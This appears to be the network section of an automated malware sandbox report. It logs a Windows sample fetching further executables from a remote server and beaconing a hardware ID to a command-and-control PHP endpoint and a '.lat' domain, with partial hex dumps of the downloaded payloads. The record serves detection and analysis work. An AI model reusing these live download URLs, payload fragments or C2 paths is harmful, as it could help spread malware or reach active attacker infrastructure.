Dec 23, 2024 07:52:47.677787066 CET	80	49716	185.215.113.16	192.168.2.9
Dec 23, 2024 07:52:47.677803040 CET	80	49716	185.215.113.16	192.168.2.9
Dec 23, 2024 07:52:47.677853107 CET	49716	80	192.168.2.9	185.215.113.16
Dec 23, 2024 07:52:47.678082943 CET	80	49716	185.215.113.16	192.168.2.9
Dec 23, 2024 07:52:47.678128004 CET	49716	80	192.168.2.9	185.215.113.16
Dec 23, 2024 07:52:47.678220034 CET	80	49716	185.215.113.16	192.168.2.9
Dec 23, 2024 07:52:47.678237915 CET	80	49716	185.215.113.16	192.168.2.9
Dec 23, 2024 07:52:47.678507090 CET	80	49716	185.215.113.16	192.168.2.9
Dec 23, 2024 07:52:47.678523064 CET	80	49716	185.215.113.16	192.168.2.9
Dec 23, 2024 07:52:47.678539991 CET	80	49716	185.215.113.16	192.168.2.9
Dec 23, 2024 07:52:47.678554058 CET	49716	80	192.168.2.9	185.215.113.16
Dec 23, 2024 07:52:47.678556919 CET	80	49716	185.215.113.16	192.168.2.9
Dec 23, 2024 07:52:47.678585052 CET	49716	80	192.168.2.9	185.215.113.16
Dec 23, 2024 07:52:47.678597927 CET	49716	80	192.168.2.9	185.215.113.16
Dec 23, 2024 07:52:47.679029942 CET	80	49716	185.215.113.16	192.168.2.9
Dec 23, 2024 07:52:47.679045916 CET	80	49716	185.215.113.16	192.168.2.9
Dec 23, 2024 07:52:47.679066896 CET	80	49716	185.215.113.16	192.168.2.9
Dec 23, 2024 07:52:47.679083109 CET	80	49716	185.215.113.16	192.168.2.9
Dec 23, 2024 07:52:47.679086924 CET	49716	80	192.168.2.9	185.215.113.16
Dec 23, 2024 07:52:47.679099083 CET	80	49716	185.215.113.16	192.168.2.9
Dec 23, 2024 07:52:47.679112911 CET	49716	80	192.168.2.9	185.215.113.16
Dec 23, 2024 07:52:47.679114103 CET	80	49716	185.215.113.16	192.168.2.9
Dec 23, 2024 07:52:47.679157972 CET	49716	80	192.168.2.9	185.215.113.16
Dec 23, 2024 07:52:47.679824114 CET	80	49716	185.215.113.16	192.168.2.9
Dec 23, 2024 07:52:47.679883003 CET	80	49716	185.215.113.16	192.168.2.9
Dec 23, 2024 07:52:47.679898977 CET	80	49716	185.215.113.16	192.168.2.9
Dec 23, 2024 07:52:47.679950953 CET	49716	80	192.168.2.9	185.215.113.16
Dec 23, 2024 07:52:47.680140972 CET	80	49716	185.215.113.16	192.168.2.9
Dec 23, 2024 07:52:47.680156946 CET	80	49716	185.215.113.16	192.168.2.9
Dec 23, 2024 07:52:47.680172920 CET	80	49716	185.215.113.16	192.168.2.9
Dec 23, 2024 07:52:47.680186033 CET	49716	80	192.168.2.9	185.215.113.16
Dec 23, 2024 07:52:47.680213928 CET	49716	80	192.168.2.9	185.215.113.16
Dec 23, 2024 07:52:47.722603083 CET	80	49716	185.215.113.16	192.168.2.9
Dec 23, 2024 07:52:47.722666025 CET	80	49716	185.215.113.16	192.168.2.9
Dec 23, 2024 07:52:47.722685099 CET	80	49716	185.215.113.16	192.168.2.9
Dec 23, 2024 07:52:47.722776890 CET	49716	80	192.168.2.9	185.215.113.16
Dec 23, 2024 07:52:47.722970009 CET	80	49716	185.215.113.16	192.168.2.9
Dec 23, 2024 07:52:47.722986937 CET	80	49716	185.215.113.16	192.168.2.9
Dec 23, 2024 07:52:47.723005056 CET	80	49716	185.215.113.16	192.168.2.9
Dec 23, 2024 07:52:47.723009109 CET	49716	80	192.168.2.9	185.215.113.16
Dec 23, 2024 07:52:47.723041058 CET	49716	80	192.168.2.9	185.215.113.16
Dec 23, 2024 07:52:47.723268986 CET	80	49716	185.215.113.16	192.168.2.9
Dec 23, 2024 07:52:47.723421097 CET	80	49716	185.215.113.16	192.168.2.9
Dec 23, 2024 07:52:47.723437071 CET	80	49716	185.215.113.16	192.168.2.9
Dec 23, 2024 07:52:47.723453999 CET	80	49716	185.215.113.16	192.168.2.9
Dec 23, 2024 07:52:47.723480940 CET	49716	80	192.168.2.9	185.215.113.16
Dec 23, 2024 07:52:47.723501921 CET	49716	80	192.168.2.9	185.215.113.16
Dec 23, 2024 07:52:47.723815918 CET	80	49716	185.215.113.16	192.168.2.9
Dec 23, 2024 07:52:47.723833084 CET	80	49716	185.215.113.16	192.168.2.9
Dec 23, 2024 07:52:47.723850012 CET	80	49716	185.215.113.16	192.168.2.9
Dec 23, 2024 07:52:47.723866940 CET	80	49716	185.215.113.16	192.168.2.9
Dec 23, 2024 07:52:47.723882914 CET	49716	80	192.168.2.9	185.215.113.16
Dec 23, 2024 07:52:47.723917961 CET	49716	80	192.168.2.9	185.215.113.16
Dec 23, 2024 07:52:47.724229097 CET	80	49716	185.215.113.16	192.168.2.9
Dec 23, 2024 07:52:47.724350929 CET	80	49716	185.215.113.16	192.168.2.9
Dec 23, 2024 07:52:47.724366903 CET	80	49716	185.215.113.16	192.168.2.9
Dec 23, 2024 07:52:47.724411964 CET	49716	80	192.168.2.9	185.215.113.16
Dec 23, 2024 07:52:47.724601984 CET	80	49716	185.215.113.16	192.168.2.9
Dec 23, 2024 07:52:47.724642038 CET	49716	80	192.168.2.9	185.215.113.16
Dec 23, 2024 07:52:47.724659920 CET	80	49716	185.215.113.16	192.168.2.9
Dec 23, 2024 07:52:47.724677086 CET	80	49716	185.215.113.16	192.168.2.9
Dec 23, 2024 07:52:47.724693060 CET	80	49716	185.215.113.16	192.168.2.9
Dec 23, 2024 07:52:47.724734068 CET	49716	80	192.168.2.9	185.215.113.16
Dec 23, 2024 07:52:47.784467936 CET	80	49716	185.215.113.16	192.168.2.9
Dec 23, 2024 07:52:47.784586906 CET	80	49716	185.215.113.16	192.168.2.9
Dec 23, 2024 07:52:47.784604073 CET	80	49716	185.215.113.16	192.168.2.9
Dec 23, 2024 07:52:47.784699917 CET	49716	80	192.168.2.9	185.215.113.16
Dec 23, 2024 07:52:47.784766912 CET	80	49716	185.215.113.16	192.168.2.9
Dec 23, 2024 07:52:47.784821033 CET	49716	80	192.168.2.9	185.215.113.16
Dec 23, 2024 07:52:47.784874916 CET	80	49716	185.215.113.16	192.168.2.9
Dec 23, 2024 07:52:47.785006046 CET	80	49716	185.215.113.16	192.168.2.9
Dec 23, 2024 07:52:47.785043955 CET	80	49716	185.215.113.16	192.168.2.9
Dec 23, 2024 07:52:47.785060883 CET	80	49716	185.215.113.16	192.168.2.9
Dec 23, 2024 07:52:47.785087109 CET	49716	80	192.168.2.9	185.215.113.16
Dec 23, 2024 07:52:47.785131931 CET	49716	80	192.168.2.9	185.215.113.16
Dec 23, 2024 07:52:47.785357952 CET	80	49716	185.215.113.16	192.168.2.9
Dec 23, 2024 07:52:47.785439014 CET	80	49716	185.215.113.16	192.168.2.9
Dec 23, 2024 07:52:47.785593987 CET	80	49716	185.215.113.16	192.168.2.9
Dec 23, 2024 07:52:47.785609961 CET	80	49716	185.215.113.16	192.168.2.9
Dec 23, 2024 07:52:47.785626888 CET	80	49716	185.215.113.16	192.168.2.9
Dec 23, 2024 07:52:47.785645008 CET	49716	80	192.168.2.9	185.215.113.16
Dec 23, 2024 07:52:47.785677910 CET	49716	80	192.168.2.9	185.215.113.16
Dec 23, 2024 07:52:47.785974979 CET	80	49716	185.215.113.16	192.168.2.9
Dec 23, 2024 07:52:47.785991907 CET	80	49716	185.215.113.16	192.168.2.9
Dec 23, 2024 07:52:47.786009073 CET	80	49716	185.215.113.16	192.168.2.9
Dec 23, 2024 07:52:47.786037922 CET	49716	80	192.168.2.9	185.215.113.16
Dec 23, 2024 07:52:47.786051035 CET	49716	80	192.168.2.9	185.215.113.16
Dec 23, 2024 07:52:47.786614895 CET	80	49716	185.215.113.16	192.168.2.9
Dec 23, 2024 07:52:47.786632061 CET	80	49716	185.215.113.16	192.168.2.9
Dec 23, 2024 07:52:47.786648989 CET	80	49716	185.215.113.16	192.168.2.9
Dec 23, 2024 07:52:47.786688089 CET	49716	80	192.168.2.9	185.215.113.16
Dec 23, 2024 07:52:47.786993027 CET	80	49716	185.215.113.16	192.168.2.9
Dec 23, 2024 07:52:47.787009001 CET	80	49716	185.215.113.16	192.168.2.9
Dec 23, 2024 07:52:47.787023067 CET	80	49716	185.215.113.16	192.168.2.9
Dec 23, 2024 07:52:47.787040949 CET	49716	80	192.168.2.9	185.215.113.16
Dec 23, 2024 07:52:47.787066936 CET	49716	80	192.168.2.9	185.215.113.16
Dec 23, 2024 07:52:47.867105007 CET	80	49716	185.215.113.16	192.168.2.9
Dec 23, 2024 07:52:47.867165089 CET	80	49716	185.215.113.16	192.168.2.9
Dec 23, 2024 07:52:47.867182016 CET	80	49716	185.215.113.16	192.168.2.9
Dec 23, 2024 07:52:47.867239952 CET	49716	80	192.168.2.9	185.215.113.16
Dec 23, 2024 07:52:47.867398977 CET	80	49716	185.215.113.16	192.168.2.9
Dec 23, 2024 07:52:47.867439032 CET	49716	80	192.168.2.9	185.215.113.16
Dec 23, 2024 07:52:47.867525101 CET	80	49716	185.215.113.16	192.168.2.9
Dec 23, 2024 07:52:47.867564917 CET	80	49716	185.215.113.16	192.168.2.9
Dec 23, 2024 07:52:47.867583036 CET	80	49716	185.215.113.16	192.168.2.9
Dec 23, 2024 07:52:47.867598057 CET	49716	80	192.168.2.9	185.215.113.16
Dec 23, 2024 07:52:47.867893934 CET	80	49716	185.215.113.16	192.168.2.9
Dec 23, 2024 07:52:47.867934942 CET	49716	80	192.168.2.9	185.215.113.16
Dec 23, 2024 07:52:47.867966890 CET	80	49716	185.215.113.16	192.168.2.9
Dec 23, 2024 07:52:47.867983103 CET	80	49716	185.215.113.16	192.168.2.9
Dec 23, 2024 07:52:47.867999077 CET	80	49716	185.215.113.16	192.168.2.9
Dec 23, 2024 07:52:47.868016005 CET	80	49716	185.215.113.16	192.168.2.9
Dec 23, 2024 07:52:47.868016958 CET	49716	80	192.168.2.9	185.215.113.16
Dec 23, 2024 07:52:47.868047953 CET	49716	80	192.168.2.9	185.215.113.16
Dec 23, 2024 07:52:47.868576050 CET	80	49716	185.215.113.16	192.168.2.9
Dec 23, 2024 07:52:47.868592978 CET	80	49716	185.215.113.16	192.168.2.9
Dec 23, 2024 07:52:47.868626118 CET	49716	80	192.168.2.9	185.215.113.16
Dec 23, 2024 07:52:47.868814945 CET	80	49716	185.215.113.16	192.168.2.9
Dec 23, 2024 07:52:47.868830919 CET	80	49716	185.215.113.16	192.168.2.9
Dec 23, 2024 07:52:47.868855953 CET	80	49716	185.215.113.16	192.168.2.9
Dec 23, 2024 07:52:47.868875980 CET	49716	80	192.168.2.9	185.215.113.16
Dec 23, 2024 07:52:47.869174004 CET	80	49716	185.215.113.16	192.168.2.9
Dec 23, 2024 07:52:47.869210958 CET	49716	80	192.168.2.9	185.215.113.16
Dec 23, 2024 07:52:47.869225025 CET	80	49716	185.215.113.16	192.168.2.9
Dec 23, 2024 07:52:47.869240999 CET	80	49716	185.215.113.16	192.168.2.9
Dec 23, 2024 07:52:47.869256973 CET	80	49716	185.215.113.16	192.168.2.9
Dec 23, 2024 07:52:47.869273901 CET	49716	80	192.168.2.9	185.215.113.16
Dec 23, 2024 07:52:47.869697094 CET	80	49716	185.215.113.16	192.168.2.9
Dec 23, 2024 07:52:47.869733095 CET	49716	80	192.168.2.9	185.215.113.16
Dec 23, 2024 07:52:47.869807959 CET	80	49716	185.215.113.16	192.168.2.9
Dec 23, 2024 07:52:47.869826078 CET	80	49716	185.215.113.16	192.168.2.9
Dec 23, 2024 07:52:47.869858027 CET	49716	80	192.168.2.9	185.215.113.16
Dec 23, 2024 07:52:47.870107889 CET	80	49716	185.215.113.16	192.168.2.9
Dec 23, 2024 07:52:47.870125055 CET	80	49716	185.215.113.16	192.168.2.9
Dec 23, 2024 07:52:47.870141029 CET	80	49716	185.215.113.16	192.168.2.9
Dec 23, 2024 07:52:47.870158911 CET	49716	80	192.168.2.9	185.215.113.16
Dec 23, 2024 07:52:47.870163918 CET	80	49716	185.215.113.16	192.168.2.9
Dec 23, 2024 07:52:47.870227098 CET	49716	80	192.168.2.9	185.215.113.16
Dec 23, 2024 07:52:47.870570898 CET	80	49716	185.215.113.16	192.168.2.9
Dec 23, 2024 07:52:47.870723009 CET	80	49716	185.215.113.16	192.168.2.9
Dec 23, 2024 07:52:47.870738983 CET	80	49716	185.215.113.16	192.168.2.9
Dec 23, 2024 07:52:47.870793104 CET	49716	80	192.168.2.9	185.215.113.16
Dec 23, 2024 07:52:47.870974064 CET	80	49716	185.215.113.16	192.168.2.9
Dec 23, 2024 07:52:47.870997906 CET	80	49716	185.215.113.16	192.168.2.9
Dec 23, 2024 07:52:47.871016979 CET	80	49716	185.215.113.16	192.168.2.9
Dec 23, 2024 07:52:47.871033907 CET	49716	80	192.168.2.9	185.215.113.16
Dec 23, 2024 07:52:47.871033907 CET	80	49716	185.215.113.16	192.168.2.9
Dec 23, 2024 07:52:47.871052027 CET	49716	80	192.168.2.9	185.215.113.16
Dec 23, 2024 07:52:47.871465921 CET	80	49716	185.215.113.16	192.168.2.9
Dec 23, 2024 07:52:47.871504068 CET	49716	80	192.168.2.9	185.215.113.16
Dec 23, 2024 07:52:47.871630907 CET	80	49716	185.215.113.16	192.168.2.9
Dec 23, 2024 07:52:47.871649981 CET	80	49716	185.215.113.16	192.168.2.9
Dec 23, 2024 07:52:47.871690989 CET	49716	80	192.168.2.9	185.215.113.16
Dec 23, 2024 07:52:47.871867895 CET	80	49716	185.215.113.16	192.168.2.9
Dec 23, 2024 07:52:47.871884108 CET	80	49716	185.215.113.16	192.168.2.9
Dec 23, 2024 07:52:47.871901035 CET	80	49716	185.215.113.16	192.168.2.9
Dec 23, 2024 07:52:47.871917009 CET	80	49716	185.215.113.16	192.168.2.9
Dec 23, 2024 07:52:47.871920109 CET	49716	80	192.168.2.9	185.215.113.16
Dec 23, 2024 07:52:47.871948957 CET	49716	80	192.168.2.9	185.215.113.16
Dec 23, 2024 07:52:47.872356892 CET	80	49716	185.215.113.16	192.168.2.9
Dec 23, 2024 07:52:47.872601986 CET	80	49716	185.215.113.16	192.168.2.9
Dec 23, 2024 07:52:47.872653961 CET	49716	80	192.168.2.9	185.215.113.16
Dec 23, 2024 07:52:48.771475077 CET	49716	80	192.168.2.9	185.215.113.16
Dec 23, 2024 07:52:50.511871099 CET	49717	80	192.168.2.9	185.215.113.206
Dec 23, 2024 07:52:50.631387949 CET	80	49717	185.215.113.206	192.168.2.9
Dec 23, 2024 07:52:50.631460905 CET	49717	80	192.168.2.9	185.215.113.206
Dec 23, 2024 07:52:50.631798029 CET	49717	80	192.168.2.9	185.215.113.206
Dec 23, 2024 07:52:50.751286983 CET	80	49717	185.215.113.206	192.168.2.9
Dec 23, 2024 07:52:51.972032070 CET	80	49717	185.215.113.206	192.168.2.9
Dec 23, 2024 07:52:51.972084999 CET	49717	80	192.168.2.9	185.215.113.206
Dec 23, 2024 07:52:51.975651026 CET	49717	80	192.168.2.9	185.215.113.206
Dec 23, 2024 07:52:52.095144987 CET	80	49717	185.215.113.206	192.168.2.9
Dec 23, 2024 07:52:52.421087980 CET	80	49717	185.215.113.206	192.168.2.9
Dec 23, 2024 07:52:52.421180964 CET	49717	80	192.168.2.9	185.215.113.206
Dec 23, 2024 07:52:53.519431114 CET	49717	80	192.168.2.9	185.215.113.206

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 23, 2024 07:52:13.273766041 CET	49206	53	192.168.2.9	1.1.1.1
Dec 23, 2024 07:52:13.414423943 CET	53	49206	1.1.1.1	192.168.2.9

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Dec 23, 2024 07:52:13.273766041 CET	192.168.2.9	1.1.1.1	0x1880	Standard query (0)	observerfry.lat	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Dec 23, 2024 07:52:13.414423943 CET	1.1.1.1	192.168.2.9	0x1880	No error (0)	observerfry.lat		104.21.36.201	A (IP address)	IN (0x0001)	false
Dec 23, 2024 07:52:13.414423943 CET	1.1.1.1	192.168.2.9	0x1880	No error (0)	observerfry.lat		172.67.199.72	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

observerfry.lat

185.215.113.16

185.215.113.206

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.9	49716	185.215.113.16	80	4608	C:\Users\user\Desktop\ABnDy7rLFS.exe

Timestamp	Bytes transferred	Direction	Data
Dec 23, 2024 07:52:36.618477106 CET	200	OUT	GET /off/def.exe HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Host: 185.215.113.16
Dec 23, 2024 07:52:37.973617077 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 23 Dec 2024 06:52:37 GMT Content-Type: application/octet-stream Content-Length: 2845696 Last-Modified: Mon, 23 Dec 2024 06:14:51 GMT Connection: keep-alive ETag: "6768ffdb-2b6c00" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 7a 86 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 50 28 2c 65 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 24 00 00 00 08 00 00 00 00 00 00 00 a0 2b 00 00 20 00 00 00 60 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 e0 2b 00 00 04 00 00 df 49 2c 00 02 00 60 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 55 80 00 00 69 00 00 00 00 60 00 00 44 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 81 00 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@z!L!This program cannot be run in DOS mode.$PELP(,e"0$+ `@ +I,`Ui`D @ @ @.rsrcD``@.idata f@tnrxecbv**h@anayjrgy +F+@.taggant@+"J+@
Dec 23, 2024 07:52:37.973735094 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 23, 2024 07:52:37.973773003 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 23, 2024 07:52:37.973922014 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 23, 2024 07:52:37.973958969 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 23, 2024 07:52:37.973995924 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 23, 2024 07:52:37.974040985 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 23, 2024 07:52:37.974432945 CET	1236	IN	Data Raw: 2b 0e be 25 17 ec da 45 e7 ed b4 25 3f fc b4 25 21 0e b9 25 17 ec da 2b 3f ea b4 25 1d 0c df 25 17 f9 e4 28 17 4b b5 25 17 e9 b4 25 28 0e cc 25 17 f0 32 3a 17 e6 be 2f 22 fc c0 50 5e ed bc bf 24 ef 23 3e 17 e6 be 97 3a e6 b4 95 3f ff b4 25 21 12 Data Ascii: +%E%?%!%+?%%(K%%(%2:/"P^$#>:?%!.%!%%?%O%M#+ U%)K2BIM+=%(F%%(%2:/"PY$#>?%!.%!%%?%O%.%!%-.>
Dec 23, 2024 07:52:37.974467993 CET	1236	IN	Data Raw: 1f ec b4 61 1d cc be 2b 17 d7 bc 13 20 ec b4 b3 21 d4 bd 2b 17 4b bb 13 20 ec b4 ef 21 d4 bd 2b 17 33 be 17 22 f0 b4 ab 21 9a be 2b 17 fc bf 2f 17 ec b4 1a 20 d4 bd 2b 17 47 bc 13 20 ec b4 11 1d d4 bd 2b 17 93 be 13 20 ec b4 6d 1b 1f bd 2b 17 4a Data Ascii: a+ !+K !+3"!+/ +G + m+J G"+`/+ %%&%O(j&5/!+&% v(%%G,(9%%G8(!9%%GG(m
Dec 23, 2024 07:52:37.974504948 CET	1236	IN	Data Raw: 17 5f b5 cc 20 f6 b4 a6 17 8d be 2b 17 7f b5 cc 20 00 b5 ee 17 8d be 2b 17 6f b5 cc 20 ec b4 ce 17 8d be 26 17 bf b5 56 20 0f b5 fe 17 11 c0 51 17 c7 b5 5b 20 18 b5 d6 17 0a bf 66 17 97 b5 b9 1c 2d b5 0e 18 11 c0 70 17 97 b5 31 1c 37 b5 16 18 b7 Data Ascii: _ + +o &V Q[ f-p170"J)X:+-o.5y.=.I.Q.]."et.*my.6yt.>.F
Dec 23, 2024 07:52:38.093416929 CET	1236	IN	Data Raw: 64 35 f9 6e 5d 3f 14 68 66 35 09 85 5a 35 03 6c 60 2d b5 78 5c 38 0b 6f 5a 2b 14 77 6c 2b 07 7f 76 29 04 74 5d 2f fc 25 6a 29 14 73 58 34 f6 6c 5c 38 14 72 66 29 00 26 6a 2b 07 7c 60 29 fa 84 5c 38 07 75 69 45 f8 77 60 3a fe 68 58 32 b5 78 5c 38 Data Ascii: d5n]?hf5Z5l`-x\8oZ+wl+v)t]/%j)sX4l\8rf)&j+\|`)\8uiEw`:hX2x\8oZ+ki8xv4xd'&j+\|`)l9wvk`4iv)tk8r9wm/jv)tk8r9zk}eki<h\Ezf6x\8oZ+q\8kcEw`<w9wm/jv,q\Ej:rv*om+&j+\|`)X)jj9x\8oZ+gc2
Dec 23, 2024 07:52:42.972470045 CET	205	OUT	GET /steam/random.exe HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Host: 185.215.113.16
Dec 23, 2024 07:52:43.413902998 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 23 Dec 2024 06:52:42 GMT Content-Type: application/octet-stream Content-Length: 2907648 Last-Modified: Mon, 23 Dec 2024 06:16:47 GMT Connection: keep-alive ETag: "6769004f-2c5e00" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 20 8b b6 d4 64 ea d8 87 64 ea d8 87 64 ea d8 87 0b 9c 73 87 7c ea d8 87 0b 9c 46 87 69 ea d8 87 0b 9c 72 87 5e ea d8 87 6d 92 5b 87 67 ea d8 87 6d 92 4b 87 62 ea d8 87 e4 93 d9 86 67 ea d8 87 64 ea d9 87 09 ea d8 87 0b 9c 77 87 77 ea d8 87 0b 9c 45 87 65 ea d8 87 52 69 63 68 64 ea d8 87 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 19 64 54 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0a 00 00 96 02 00 00 28 01 00 00 00 00 00 00 90 4f 00 00 10 00 00 00 b0 02 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 c0 4f 00 00 04 00 00 a0 28 2d 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$ ddds\|Fir^m[gmKbgdwwEeRichdPELdTg(O@O(-@M$a$$ $h@.rsrc$x@.idata $z@wwqufnsk$\|@dutjqjqnO8,@.taggant0O"<,@

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.9	49717	185.215.113.206	80	2984	C:\Users\user\AppData\Local\Temp\A97774QJFYJNGVVMCXLHU5PMQ02KM.exe

Timestamp	Bytes transferred	Direction	Data
Dec 23, 2024 07:52:50.631798029 CET	90	OUT	GET / HTTP/1.1 Host: 185.215.113.206 Connection: Keep-Alive Cache-Control: no-cache
Dec 23, 2024 07:52:51.972032070 CET	203	IN	HTTP/1.1 200 OK Date: Mon, 23 Dec 2024 06:52:51 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Dec 23, 2024 07:52:51.975651026 CET	413	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----JJECAAEHCFIEBGCBGHIE Host: 185.215.113.206 Content-Length: 211 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 4a 4a 45 43 41 41 45 48 43 46 49 45 42 47 43 42 47 48 49 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 44 30 39 44 45 36 37 38 44 39 44 37 32 32 38 34 35 38 32 31 32 37 0d 0a 2d 2d 2d 2d 2d 2d 4a 4a 45 43 41 41 45 48 43 46 49 45 42 47 43 42 47 48 49 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 73 74 6f 6b 0d 0a 2d 2d 2d 2d 2d 2d 4a 4a 45 43 41 41 45 48 43 46 49 45 42 47 43 42 47 48 49 45 2d 2d 0d 0a Data Ascii: ------JJECAAEHCFIEBGCBGHIEContent-Disposition: form-data; name="hwid"D09DE678D9D72284582127------JJECAAEHCFIEBGCBGHIEContent-Disposition: form-data; name="build"stok------JJECAAEHCFIEBGCBGHIE--
Dec 23, 2024 07:52:52.421087980 CET	210	IN	HTTP/1.1 200 OK Date: Mon, 23 Dec 2024 06:52:52 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 8 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 59 6d 78 76 59 32 73 3d Data Ascii: YmxvY2s=

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.9	49707	104.21.36.201	443	4608	C:\Users\user\Desktop\ABnDy7rLFS.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-23 06:52:14 UTC	262	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8 Host: observerfry.lat
2024-12-23 06:52:14 UTC	8	OUT	Data Raw: 61 63 74 3d 6c 69 66 65 Data Ascii: act=life
